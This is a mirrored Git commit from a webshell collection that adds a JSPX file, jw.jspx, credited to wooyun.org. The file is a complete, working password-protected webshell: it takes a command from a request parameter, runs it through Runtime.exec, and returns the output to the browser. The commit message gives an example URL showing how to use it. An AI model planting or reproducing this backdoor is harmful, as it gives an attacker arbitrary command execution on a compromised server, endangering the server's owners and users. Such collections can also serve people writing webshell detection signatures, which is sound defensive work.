mirror of
https://github.com/tennc/webshell.git
synced 2025-12-06 04:41:28 +00:00
Create jw.jspx
from wooyun.org 使用说明:http://xx.xx.xx/jw.jspx?pwd=sin&i=ls 有回显,带密码
This commit is contained in:
15
jspx/jw.jspx
Normal file
15
jspx/jw.jspx
Normal file
@@ -0,0 +1,15 @@
|
|||||||
|
<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2">
|
||||||
|
<jsp:directive.page contentType="text/html" pageEncoding="UTF-8" />
|
||||||
|
<jsp:scriptlet>
|
||||||
|
if("sin".equals(request.getParameter("pwd"))){
|
||||||
|
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
|
||||||
|
int a = -1;
|
||||||
|
byte[] b = new byte[2048];
|
||||||
|
out.print("<pre>");
|
||||||
|
while((a=in.read(b))!=-1){
|
||||||
|
out.println(new String(b));
|
||||||
|
}
|
||||||
|
out.print("</pre>");
|
||||||
|
}
|
||||||
|
</jsp:scriptlet>
|
||||||
|
</jsp:root>
|
||||||
Reference in New Issue
Block a user